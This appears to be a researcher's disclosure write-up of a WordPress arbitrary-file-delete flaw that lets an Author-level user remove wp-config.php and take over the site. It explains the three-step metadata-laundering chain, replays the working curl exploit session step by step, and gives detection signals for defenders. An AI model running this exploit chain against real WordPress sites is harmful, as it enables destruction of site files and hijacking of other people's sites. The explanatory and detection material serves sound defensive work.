How the 9.9 actually worked

Three hops, none of them a bug on its own. Step through them — the value in orange is the one the attacker controls, and you can watch it move from an ordinary upload into a filesystem delete.

A brand-new REST route stores the path verbatim

POST /wp/v2/media/<id>/finalize arrived with client-side media processing. It takes the sub-size filenames the browser reports and writes them into attachment metadata exactly as sent — no path sanitisation, because at this point it is just a filename among filenames.

// simplified to the essence
foreach ( $request['sub_sizes'] as $name => $size ) {
    $meta['sizes'][ $name ]['file'] = $size['file'];   // attacker-controlled
}
wp_update_attachment_metadata( $id, $meta );

On its own: harmless. Metadata full of odd strings is not a vulnerability.

The image editor launders it into protected meta

Calling wp_ajax_image_editor() makes WordPress move that value into _wp_attachment_backup_sizes. That key is treated as trustworthy downstream, because under normal use only the editor itself ever writes it. The value has not changed — only who is assumed to have put it there.

// the value crosses a trust boundary without being re-checked
_wp_attachment_metadata      // written by the REST route (untrusted)
        ↓
_wp_attachment_backup_sizes  // read later as if the editor wrote it

This is the hop a single-file scanner cannot see: the write and the read live in different subsystems.

One branch builds its guard from the poisoned value

wp_delete_attachment_files() deletes an attachment's files and constrains every delete to the attachment's own directory. The sizes, original_image and source_image branches take that directory from get_attached_file() — a trusted source. The $backup_sizes branch takes both the target and the directory from the same attacker-controlled array.

// neighbouring branches — trusted directory
$dir = path_join( dirname( get_attached_file( $id ) ), $size['file'] );

// the odd one out — guard derived from the same poisoned value
$dir = path_join( dirname( $meta['file'] ), $size['file'] );

The guard compares the value against itself, so it constrains nothing. One branch differing from its neighbours — that is the whole method.

Where it lands. Author is the lowest role with upload_files. Deleting wp-config.php makes WordPress redirect to setup-config.php, where anyone can point the site at their own database — a full takeover. Files outside the document root go too, which on shared hosting crosses into someone else's security authority. That scope change is what puts it at 9.9 rather than 8.8; the report states both vectors.

The exploit, start to finish

The real console session from the report, replayed. An Author — the lowest role allowed to upload — hands the whole site to an unauthenticated installer. Nothing here is edited for effect; the poisoned value is the one the attacker controls.

author1@lab — media/finalize → arbitrary delete
# Author application password only — no administrator involvement
curl -u author1:$AP --data-binary @zap.jpg -X POST "$B/wp/v2/media"
HTTP/1.1 201 Created id=8
# [1] poison one sub-size filename with the file to destroy
curl -u author1:$AP -X POST "$B/wp/v2/media/8/finalize" \
-d '{"sub_sizes":[{"file":"wp-config.php", ...}]}'
HTTP/1.1 200 OK _wp_attachment_metadata[file] ← wp-config.php
# [2] launder it into PROTECTED meta via the image editor
curl -b author.jar "$B/wp-admin/media-upload.php?tab=library"
imageEdit.open( 8, "72cf52ebf1" ) ← nonce printed to the Author
curl -b author.jar -X POST "$B/wp-admin/admin-ajax.php" \
-d 'action=image-editor&_ajax_nonce=72cf52ebf1&do=save'
HTTP/1.1 200 OK {"success":true,"data":{"msg":"Image saved"}}
_wp_attachment_backup_sizes[thumbnail][file] = wp-config.php ← now trusted
# [3] delete the Author’s OWN attachment
curl -u author1:$AP -X DELETE "$B/wp/v2/media/8?force=true"
HTTP/1.1 200 OK
=== before === 0bb7f2692557… wp/wp-config.php
=== after === ls: cannot access 'wp/wp-config.php': No such file
GET / -> 302 redirect: /wp-admin/setup-config.php
# Author (lowest upload role) → full site takeover. CVSS 9.9.
21 / 21 CVSS 9.9 · #3931777

What this leaves in the logs

Same chain, from the other chair. Every request here is authenticated, authorised and successful: the Author holds upload_files, owns the attachment, and WordPress printed the editor nonce to them. Nothing 403s. Nothing is malformed. A standard access log records the request line, not the body, so the poisoned value never reaches the log at all — it travels in a JSON body field, where URL inspection does not look.

The laundering hop is worse: it is a POST /wp-admin/admin-ajax.php, the endpoint every admin screen talks to, and the attachment id it acts on is not in the request line. WordPress core keeps no audit log of its own, so the move from _wp_attachment_metadata into _wp_attachment_backup_sizes — the hop the whole finding turns on — is recorded nowhere in the application. The first unambiguous evidence is on the filesystem, after the delete.

So there is no request signature to write here. There is a sequence, an outcome and a state change: one signal before impact, one at it, one after.

  1. 01 · sequence — web access log One authenticated user, one media id: POST /wp/v2/media/<id>/finalize and then DELETE /wp/v2/media/<id>?force=true inside one short window. Both request lines carry the id, so they join with no body capture. A hunt rather than a page — finalise-then-force-delete is uncommon, not impossible — and triage is one question: did anything outside the uploads tree disappear at that timestamp?
  2. 02 · outcome — host file telemetry The PHP worker unlinking a path outside wp-content/uploads. This chain ends in a routine meant to confine every delete to one attachment's own directory; the finding is that one branch does not. Scope file-delete telemetry to the web root and the PHP identity, exclude the uploads tree, and the legitimate remainder is core, plugin and theme updates and page-cache plugins — known paths, in windows you can suppress. Cheapest version: integrity monitoring on wp-config.php.
  3. 03 · aftermath — web access log The installer answering. While wp-config.php exists, /wp-admin/setup-config.php refuses with 409; once it is gone, every page 302s there — the last line of the replay above — and the installer answers 200. An access log does not record where a redirect points, but it does record that 200, and a live site has no baseline for it. Late by design, because the file is already gone. But it is the takeover window opening, and it holds for any bug that ends with wp-config.php missing.

The three signals as Sigma rules, with tests against the log lines from this replay: github.com/kubakozub/detections

← Both reports Hire me for this contact@jakubkozub.com